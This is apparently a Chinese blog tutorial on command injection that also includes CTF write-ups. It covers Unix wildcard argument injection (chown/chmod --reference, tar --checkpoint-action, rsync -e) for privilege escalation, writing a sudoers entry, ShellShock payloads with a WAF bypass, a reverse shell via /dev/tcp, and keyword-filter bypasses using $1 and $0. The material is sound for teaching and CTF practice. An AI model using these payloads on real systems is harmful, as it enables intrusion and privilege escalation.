之前在補天平台首發了巧用命令注入的N種方式,看到了有幾個師傅衍生出了不同的幾個后續版本,都感覺挺不錯的,對我的版本進行了一些補充。本來這個總結應該算是前半部分,想寫的還沒寫完,當時又是在考試周,原本想在考試結束后就來寫后半部分,又因為各種事給推掉了。所以現在來寫后半部分提升篇,也算是對前半部分的補充與解釋。
提權
這里我們講講在命令注入中更有意思的一種方法。
Wildcard Wilderness
Example 1
首先我們先看一個示例
echo "Hello Friends" > file1 echo "This is wildcard Injection" >file2 echo "take help" > --help
首先創建幾個文件,其中有一個是--help
,然后使用cat
命令讀取文件內容
cat file1
cat file 2
cat --help
如果按照我們預期的,是不是在第三個cat --help
處應該是要讀取—help
文件的內容呢?然而我們執行cat —help
卻優先執行了cat
命令的幫助選項,並沒有讀出—help
里的內容。
不僅是cat
,ls
等命令也會優先調用內置--help
選項。
以及還有--all
選項。
其實講道理,詞法分析把對諸如--help
、--all
等選項優先處理為內置選項輸出,看起來並沒有任何問題
這個技巧叫做Wildcard wildness
,中文有人譯為通配符在野。(-all
、--help
可以通過加入./
成./-all
、./--help
來特指這個文件,避免這個問題)
Example 2
如圖,我們有兩個文件,當用rm *
的時候,只刪掉了file1
與file2
,並沒有刪除*
或者使用rm file1 file2 -rf
逐個刪除之時,也只刪掉了file1
與file2
使用strace rm *
我們可以發現
由於當前目錄中存在-rf
文件名,rm
將-rf
選項作為最后一個參數,並且遞歸刪除當前目錄中的所有文件。同樣,若要刪除可以加上./-rf
進行刪除
Trick
我們可以利用Wildcard Wilderness
做一些更有用的事情。
File Owner Hijacking
現在我們有三個用戶,一個zedd
,一個test
,一個root
用戶。
我們分別用zedd
與test
創建了不同的文件,1.php
與test.php
都屬於test
用戶的文件,zedd.php
與--reference=zedd.php
均屬於zedd
用戶的文件。
然后使用root
用戶使用chown -R test:test *.php
命令,想把本目錄下所有的.php
文件修改為test
用戶所有。
但是結果我們可以發現,結果該目錄下所有的.php
文件都被修改為了zedd
用戶所有,成功“提權”。
原理我們可以用strace chown -R zedd:zedd *.php
來看一下(注意這里換了一下,模擬想把.php
文件改變成zedd
用戶所有)
我們可以看到
execve("/bin/chown", ["chown", "-R", "zedd:zedd", "config.php", "index.php", "--reference=.backdoor.php"], 0x7ffe5b43b1e8 /* 35 vars */) = 0
跟我們上個例子原理其實一樣,--reference=.backdoor.php
被作為一個選項進行了處理,而
--reference=RFILE use RFILE's owner and group rather than
specifying OWNER:GROUP values
--reference=RFILE
這個選項則是使用RFILE
的文件擁有者和用戶組來改變文件屬性,而不是使用傳入的OWNER:GROUP
參數。
因此,在這種情況下,chown
的--reference
選項將覆蓋指定為root
用戶輸入的參數zedd:zedd
,把此目錄中所有.php
文件的所有者改變與.backdoor.php
的所有者test
。
所以,按照這種方法,我們可以劫持root
將文件的所有權更改為任意用戶,並“劫持”我們想要的文件。
Chmod File Reference
類似chown
的還有一個命令chmod
,它也有--reference=RFIE
的選項
--reference=RFILE use RFILE's mode instead of MODE values
與chown
類似,因為有--reference=.backdoor.php
的存在,在使用chmod 000 *
的時候也會把劫持到與.backdoor.php
文件權限一樣的權限
Tar命令利用
首先我們來看看tar
命令幫助文檔中的幾個有意思的選項
--checkpoint[=NUMBER] display progress messages every NUMBERth record (default 10) --checkpoint-action=ACTION execute ACTION on each checkpoint
從幫助文檔,我們大致可以從中理解到,--checkpoint=1
可以用來顯示信息,--checkpoint-action=exec=sh shell.sh
可以用來執行命令
先嘗試構建一個shell.sh
腳本,內容為/usr/bin/id
,以及文件名為--checkpoint=1
與--checkpoint-action=exec=sh shell.sh
的文件,使用tar -cf test.tar *
把當前目錄下所有文件壓縮到test.tar
壓縮包內
可見,/usr/bin/id
已經被成功執行輸出。
與之前一樣,--checkpoint=1
與--checkpoint-action=exec=sh shell.sh
被作為選項處理
在 2018 SWPUCTF 上有一道 web 題考點也正是利用了這個點,由於題目官方沒有開源,這里給一個比較詳細的 @一葉飄零 師傅寫的 wp 用於參考學習: 2018SWPUCTF-Web#信息再次發掘
rsync命令利用
rsync
命令可能比較少用,我們這里簡單介紹一下
NAME
rsync - a fast, versatile, remote (and local) file-copying tool
rsync
命令是一個遠程數據同步工具,可通過LAN/WAN快速同步多台主機間的文件。使用一個遠程shell程序(如rsh、ssh)來實現將本地機器的內容拷貝到遠程機器。如:rsync -t *.c foo:src
,復制當前本地文件夾下的所有的.c
文件到 foo 遠程服務器的/src
文件夾下。
rsync
幫助文檔含有以下幾個比較有意思的選項
-e, --rsh=COMMAND specify the remote shell to use
--rsync-path=PROGRAM specify the rsync to run on remote machine
--rsh=COMMAND
又是一個我們可以利用的地方,我們首先創建一個文件名為-e sh shell.c
的文件,然后再創建一個shell.c
文件,污染rsync
參數來實現執行我們在shell.c
中寫入的預期命令
假設當前目錄下我們擁有一個只有root
用戶可讀的rootfile
文件,由於不能直接輸出結果,我們可以構造cat ./rootfile > ./output
,將文件內容讀出。
得到的output
文件是 644 的權限,這樣我們就成功構造了一個提權讀取的文件的 payload ,這里可能需要注意的是,只能提取到執行rsync
用戶的權限,不是直接的root
權限,這里因為執行命令的是root
權限,所以能讀取只有root
用戶才能讀取的rootfile
文件
Tips
-
既然能執行命令,其實我們可以參照上篇列舉的反彈 shell 的方式將 shell 反彈給我們,也可以配合
msfvenom
來使用。 -
tar
命令比較多的都用在/etc/crontab
計划任務中,經常會有管理員會用crontab
來執行一些tar
命令的備份操作,而且crontab
執行的權限還是root
權限,所以這是個很好利用的點 -
tar
命令需要進入到--checkpoint=1
文件所在的目錄內,如果加上絕對路徑將會失效,例如tar cf test.tar /var/www/html/*
我們可以看到 shell 處理方式將
/home/zedd/Desktop/test
與目錄下的文件名逐個拼接起來,就達不到污染參數的效果了 -
還可以用
echo "zedd ALL=(root) NOPASSWD: ALL" > /etc/sudoers
,把自己直接寫入管理員組 -
利用
chmod u+s /usr/bin/find
提升為root
權限執行,配合find
命令的-exec COMMAND
來執行命令,例如find f1 -exec "whoami" \;
文章中討論的技術可以以不同的形式在各種流行的Unix工具上應用,這里僅僅是拋磚引玉,列舉一部分命令。 在實際攻擊中,任意 shell 選項/參數都可以隱藏在常規文件中,管理員也不容易發現,比如使用.backdoor.php
等形式。
Other
這里講講幾個雖然不屬於提權,但是也比較有意思的幾個點。
Echo
echo *
可以用來顯示目錄,echo /???g
可以用來探測文件
ln
NAME
ln - make links between files
ln
命令常常用於鏈接兩個文件,而且分兩種鏈接模式,一種硬鏈接一種軟鏈接,詳細可以參考理解Linux硬鏈接與軟鏈接。這里主要講講軟鏈接,軟鏈接相當於我們 Windows 中的快捷方式,可以使用ln -s
創建
例如,這里我們根目錄下有一個文件內容為flag{xxx}
的名為flag
文件,我們使用ln -s /flag file
,在當前目錄下創建一個file
文件鏈接到/flag
,使用cat file
與php -r "echo file_get_contents('file')"
均可以讀取到/flag
的內容。
這個軟鏈接讀取文件內容已經被多次利用
- 在 GitLab CVE-2016-9086 也是利用了這點,參考GitLab 任意文件讀取漏洞 (CVE-2016-9086) 和任意用戶 token 泄露漏洞
- CTF 中也出現了類似的題目,參考一個有趣的任意文件讀取,以及在 2018 年賽博地球杯上有一道題也是利用這個點,參考記錄一道題的多種解法,“賽博地球杯”工業互聯網安全大賽線上賽Writeup
ShellShock(CVE-2014-6271)
Bash 4.3以及之前的版本在處理某些構造的環境變量時存在安全漏洞,向環境變量值內的函數定義后添加多余的字符串會觸發此漏洞,攻擊者可利用此漏洞改變或繞過環境限制,以執行任意的 shell 命令,甚至完全控制目標系統,詳細分析參考破殼(ShellShock)漏洞樣本分析報告
CVE-2014-6271 測試方式:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
CVE-2014-7169 測試方式:(CVE-2014-6271補丁更新后仍然可以繞過)
env -i X=';() { (a)=>\' bash -c 'echo date'; cat echo
從一道題看Shell Shock
題目地址:command-executor——來源於 HackMe
題目描述:
Here's my useless developer assistant website, try to execute your own command!
題目大體思路是:
- 讀取源碼
- Shell Shock命令執行
- 重定向讀寫文件
題目設置為幾個功能,一個man
命令的幫助文檔
選擇了ls
,多了個請求參數file=ls
嘗試用其他命令,比如find
猜測eval("man /bin/" + command)
或者一些其他的目錄
Tar Tester
界面可以上傳壓縮包但是並沒有解壓,只是tar -tvf test.tar
查看壓縮包內的內容
Cmd Exec
界面只有兩個命令,一個ls
,一個env
List files
是個目錄列舉界面,可以列舉幾個目錄
觀察題目,題目 urlhttps://command-executor.hackme.inndy.tw/index.php?func=untar
等均帶有func=xxx
參數來展示頁面,猜測會有文件包含漏洞,嘗試使用func=php://filter/read=convert.base64-encode/resource=index
讀取文件內容,成功得到回顯
解碼得到 index.php
源碼
<?php
$pages = [
['man', 'Man'],
['untar', 'Tar Tester'],
['cmd', 'Cmd Exec'],
['ls', 'List files'],
];
function fuck($msg) {
header('Content-Type: text/plain');
echo $msg;
exit;
}
$black_list = [
'\/flag', '\(\)\s*\{\s*:;\s*\};'
];
function waf($a) {
global $black_list;
if(is_array($a)) {
foreach($a as $key => $val) {
waf($key);
waf($val);
}
} else {
foreach($black_list as $b) {
if(preg_match("/$b/", $a) === 1) {
fuck("$b detected! exit now.");
}
}
}
}
waf($_SERVER);
waf($_GET);
waf($_POST);
function execute($cmd, $shell='bash') {
system(sprintf('%s -c %s', $shell, escapeshellarg($cmd)));
}
foreach($_SERVER as $key => $val) {
if(substr($key, 0, 5) === 'HTTP_') {
putenv("$key=$val");
}
}
$page = '';
if(isset($_GET['func'])) {
$page = $_GET['func'];
if(strstr($page, '..') !== false) {
$page = '';
}
}
if($page && strlen($page) > 0) {
try {
include("$page.php");
} catch (Exception $e) {
}
}
function render_default() { ?>
<p>Welcome to use our developer assistant service. We provide servial useless features to make your developing life harder.</p>
<img src="windows-run.jpg" alt="command executor">
<?php }
?><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Command Executor</title>
<link rel="stylesheet" href="bootstrap/css/bootstrap.min.css" media="all">
<link rel="stylesheet" href="comic-neue/font.css" media="all">
<style>
nav { margin-bottom: 1rem; }
img { max-width: 100%; }
</style>
</head>
<body>
<nav class="navbar navbar-expand-lg navbar-dark bg-dark d-flex">
<a class="navbar-brand" href="index.php">Command Executor</a>
<ul class="navbar-nav">
<?php foreach($pages as list($file, $title)): ?>
<li class="nav-item">
<a class="nav-link" href="index.php?func=<?=$file?>"><?=$title?></a>
</li>
<?php endforeach; ?>
</ul>
</nav>
<div class="container"><?php if(is_callable('render')) render(); else render_default(); ?></div>
</body>
</html>
man.php
源碼:
<?php
function render() { $file = 'man'; if(isset($_GET['file'])) { $file = (string)$_GET['file']; if(preg_match('/^[\w\-]+$/', $file) !== 1) { echo '<pre>Invalid file name!</pre>'; return; } } echo '<h1>Online documents</h1>'; $cmds = [ 'bash', 'ls', 'cp', 'mv' ]; echo '<ul>'; foreach($cmds as $cmd) { printf('<li><a href="index.php?func=man&file=%s">%1$s</a></li>', $cmd); } echo '</ul>'; printf('<h2>$ man %s</h2>', htmlentities($file)); echo '<pre>'; execute(sprintf('man %s | cat', escapeshellarg($file))); echo '</pre>'; } ?>
untar.php
源碼:
<?php
function render() { ?> <h1>Tar file tester</h1> <p>Please upload a tar file to test</p> <form enctype="multipart/form-data" action="index.php?func=untar" method="POST"> <input type="file" name="tarfile" id="tarfile"> <input class="btn btn-primary" type="submit" value="Upload & Test"> </form> <?php if(isset($_FILES['tarfile'])) { printf('<h2>$ tar -tvf %s</h2>', htmlentities($_FILES['tarfile']['name'])); echo '<pre>'; execute(sprintf('tar -tvf %s 2>&1', escapeshellarg($_FILES['tarfile']['tmp_name']))); echo '</pre>'; } } ?>
ls.php
源碼:
<?php
function render() { $file = '.'; if(isset($_GET['file'])) { $file = (string)$_GET['file']; } echo '<h1>Dictionary Traversal</h1>'; echo '<ul>'; $dirs = ['.', '..', '../..', '/etc/passwd']; foreach($dirs as $dir) { printf('<li><a href="index.php?func=ls&file=%s">%1$s</a></li>', $dir); } echo '</ul>'; printf('<h2>$ ls %s</h2>', htmlentities($file)); echo '<pre>'; execute(sprintf('ls -l %s', escapeshellarg($file))); echo '</pre>'; } ?>
cmd.php
源碼:
<?php
function render() { $cmd = ''; if(isset($_GET['cmd'])) { $cmd = (string)$_GET['cmd']; } ?> <h1>Command Execution</h1> <?php echo '<ul>'; $cmds = ['ls', 'env']; foreach($cmds as $c) { printf('<li><a href="index.php?func=cmd&cmd=%s">%1$s</a></li>', $c); } echo '</ul>'; ?> <form action="index.php" method="GET"> <input type="hidden" name="func" value="cmd"> <div class="input-group"> <input class="form-control" type="text" name="cmd" id="cmd"> <div class="input-group-append"> <input class="btn btn-primary" type="submit" value="Execute"> </div> </div> </form> <script>cmd.focus();</script> <?php if(strlen($cmd) > 0) { printf('<h2>$ %s</h2>', htmlentities($cmd)); echo '<pre>'; switch ($cmd) { case 'env': case 'ls': case 'ls -l': case 'ls -al': execute($cmd); break; case 'cat flag': echo '<img src="cat-flag.png" alt="cat flag">'; break; default: printf('%s: command not found', htmlentities($cmd)); } echo '</pre>'; } } ?>
接下來我們就可以利用ls.php
來找flag
了,因為ls.php
沒什么過濾,所以用func=ls&file=../../../
可以發現根目錄下的文件
接下來就是考慮怎么去讀了,man.php
因為有preg_match('/^[\w\-]+$/', $file) !== 1
限制得比較死,untar.php
貌似只有tar -tvf
並沒有什么用處,只有cmd.php
給出了一個比較不太尋常的env
這個命令,其實這樣也算是提示得比較明顯了,比較容易讓人想到也可以比較容易搜到ShellShock
漏洞,並且在index.php
中發現有
$black_list = [
'\/flag', '\(\)\s*\{\s*:;\s*\};' ]; function waf($a) { global $black_list; if(is_array($a)) { foreach($a as $key => $val) { waf($key); waf($val); } } else { foreach($black_list as $b) { if(preg_match("/$b/", $a) === 1) { fuck("$b detected! exit now."); } } } } waf($_SERVER); waf($_GET); waf($_POST); foreach($_SERVER as $key => $val) { if(substr($key, 0, 5) === 'HTTP_') { putenv("$key=$val"); } }
關鍵就在putenv
函數,由於ShellShock
漏洞 padyload 需要參數
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
我們就可以利用putenv
實現參數傳遞,直接設置User-agent: () { :;}; echo 222222
,發現被 waf
分析 waf 結合漏洞成因,我們可以在最后的};
中間添加一個空格繞過,設置User-Agent: () { :;} ; echo 222222
,成功發現輸出 22222 ,我們也可以使用() { _; } >_[$($())] { whoami; }
這個 payload
發現當前用戶為www-data
,而我們之前發現根目錄flag
的權限為-r-------- 1 flag root 37 Jan 9 2018 flag
,所以不能直接讀取,但是有一個flag-reader
與flag-reader.c
的文件,這應該是題目提示了。因為index.php
又把flag
關鍵字屏蔽了,我們也不能直接讀取flag-reader.c
,但是我們這里可以利用通配符讀取,例如使用fla*.c
使用() { _; } >_[$($())] { cat /fla*.c; }
得到flag-reader.c
源碼
Flag-reader.c:
#include <unistd.h> #include <syscall.h> #include <fcntl.h> #include <string.h> int main(int argc, char *argv[]) { char buff[4096], rnd[16], val[16]; if(syscall(SYS_getrandom, &rnd, sizeof(rnd), 0) != sizeof(rnd)) { write(1, "Not enough random\n", 18); } setuid(1337); seteuid(1337); alarm(1); write(1, &rnd, sizeof(rnd)); read(0, &val, sizeof(val)); if(memcmp(rnd, val, sizeof(rnd)) == 0) { int fd = open(argv[1], O_RDONLY); if(fd > 0) { int s = read(fd, buff, 1024); if(s > 0) { write(1, buff, s); } close(fd); } else { write(1, "Can not open file\n", 18); } } else { write(1, "Wrong response\n", 16); } }
使用bash -c "sh >& /dev/tcp/your ip/port 0>&1"
直接反彈 shell
運行flag-reader
審計一下這段代碼,大致是輸出一串隨機數,然后在1s之內又要輸入進去,否則就write(1, "Wrong response\n", 16);
...
然而我在回彈 shell 之后,利用/tmp
可寫的權限,貌似有點小問題,一旦cat /tmp/zedd
,鏈接就斷掉了,無奈只能找其他文件夾,發現/run/lock
與/var/tmp
均可讀可寫,使用/flag-reader flag > /run/lock/zedd < /run/lock/zedd
寫入 flag
反彈 shell 使用cat
非常容易斷掉,最好使用執行的方式,最后得到 flag
上篇的解釋與補充
特殊變量
這里再對上篇進行一定的補充與解釋。
$n
變量 | 含義 |
---|---|
$0 | 當前腳本的文件名 |
$n | 傳遞給腳本或函數的參數。n 是一個數字,表示第幾個參數。例如,第二個參數是$2(0<n<9) |
${n} | 9<n時需要加上大括號 |
例如,腳本文件如下
#!/bin/bash
echo "File Name: $0" echo "First Parameter : $1" echo "First Parameter : $2"
執行腳本文件
$ ./test.sh Hello Zedd
File Name: ./test.sh
First Parameter : Hello
Second Parameter : Zedd
而當沒有參數的時候,$n
就為空,所以我們可以用cat /fl$1ag
這樣繞過關鍵字過濾,並且在 bash 環境下
$ echo $0 bash
所以我們可以使用這樣的 payload ,可以用在 bash 這個關鍵字過濾但是有需要用到 bash 的情況下,前提是環境用的是 bash
$ {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0 flag{xxx}
$IFS
IFS(Internal Field Seprator) ,內部域分隔符,Shell 的環境變量分為 set, env 兩種,其中 set 變量可以通過 export 工具導入到 env 變量中。其中,set 是顯示設置shell變量,僅在本 shell 中有效;env 是顯示設置用戶環境變量 ,僅在當前會話中有效。換句話說,set 變量里包含了 env 變量,但 set 變量不一定都是 env 變量。這兩種變量不同之處在於變量的作用域不同。顯然,env 變量的作用域要大些,它可以在 subshell 中使用。
而 IFS 是一種 set 變量,當 shell 處理"命令替換"和"參數替換"時,shell 根據 IFS 的值,默認是 space, tab, newline 來拆解讀入的變量,然后對特殊字符進行處理,最后重新組合賦值給該變量。
$ echo $IFS $ echo "$IFS" | od -b 0000000 040 011 012 012 0000004
我們可以看到直接輸出IFS是看不到的,把它轉化為二進制就可以看到了,"040"是空格,"011"是Tab,"012"是換行符"\n" 。最后一個 012 是因為 echo 默認是會換行的。
$?
上個命令的退出狀態,或函數的返回值。退出狀態是一個數字,一般情況下,大部分命令執行成功會返回0,失敗返回1。不過,也有一些命令返回其他值,表示不同類型的錯誤。
$
當前 Shell 進程 ID。對於 Shell 腳本,就是這些腳本所在的進程 ID。
$ echo $$ 75576
$
傳遞給腳本或函數的參數個數。
腳本文件內容:
#!/bin/bash
echo "Total Number of Parameters : $#"
執行命令
$ ./test.sh Hello Zedd
Total Number of Parameters : 2
\$*與\$@
都是傳遞給腳本或函數的所有參數。
腳本文件內容:
#!/bin/bash
echo "Quoted Values: $@" echo "Quoted Values: $*"
執行命令:
$ ./test.sh Hello Zedd
Quoted Values: Hello Zedd
Quoted Values: Hello Zedd
它們不被雙引號(" ")包含時,都以"1""2" … "$n" 的形式輸出所有參數。
但是當它們被雙引號(" ")包含時,"∗"會將所有的參數作為一個整體,以"1 2…n"的形式輸出所有參數;"@"會將各個參數分開,以"1" "2"…"n" 的形式輸出所有參數。
內置變量繞過
上篇其實提到了一點內置變量繞過,但是講的也不並不多,只是大概提了一下。這里再給一些常用的 bash 內置的環境變量
$BASH
$ echo $BASH /usr/local/bin/bash
返回 bash 二進制文件的路徑
$HOME
$ $HOME
bash: /Users/zedd: Is a directory
返回當前用戶所屬目錄
$PWD
$ echo $PWD /
顯示當前目錄
$OLDPWD
$ echo $OLDPWD /Users/zedd/Desktop/
返回上次所在目錄
$PATH
$ echo $PATH /bin:/usr/bin:/usr/local/bin:/usr/X11R6/bin:/sbin:/usr/sbin
環境變量$PATH
$PS1
$ echo $PS1 \s-\v\$
看到的命令行主要提示
$PS2
$ echo $PS2 >
額外輸入的輔助提示,表示為>
,$PS3
是 Shell 腳本中使用select
時的提示符,顯示為空,這里就不再單獨列舉了
$PS4
$ echo $PS4 +
與set -x
配合用來修改跟蹤輸出的前綴,顯示為+
舉個例子
Layer7 CTF 2018
可以訪問https://cat.canhack.me/這個在線地址
題目描述
This service provides read the file.
https://cat.canhack.me/
This challenge was published in the Layer7 CTF in 2018.
WriteUp
點進去發現有
<b>Usage</b>: Please enter the parameter like as in <a href="/?file=test.txt">this</a>.
跟進得到test.txt
的內容
猜測為文件包含,嘗試直接讀取flag
被waf
,直接讀取https://cat.canhack.me/?file=index.php
<?php
error_reporting(0); require __DIR__.'/flag-f72a161d445915d2bdcdc820c4143353.php'; if(isset($_GET['file'])){ if(preg_match('/flag|\'|\"|`|\\\\|;|\(|\)|\*|\?|\.\.|\//i', $_GET['file'])){ die('no hack'); } system('cat "'.$_GET['file'].'"'); }else{ echo '<b>Usage</b>: Please enter the parameter like as in <a href="/?file=test.txt">this</a>.'; }
還剩下{}
、<>
、[]
、+-=
、^
、$
、@
、!
、&
,是個關鍵字繞過,有$
,我們很快可以聯想到可以用$n
這種方式繞過,最終 payload
https://cat.canhack.me/?file=fl$1ag-f72a161d445915d2bdcdc820c4143353.php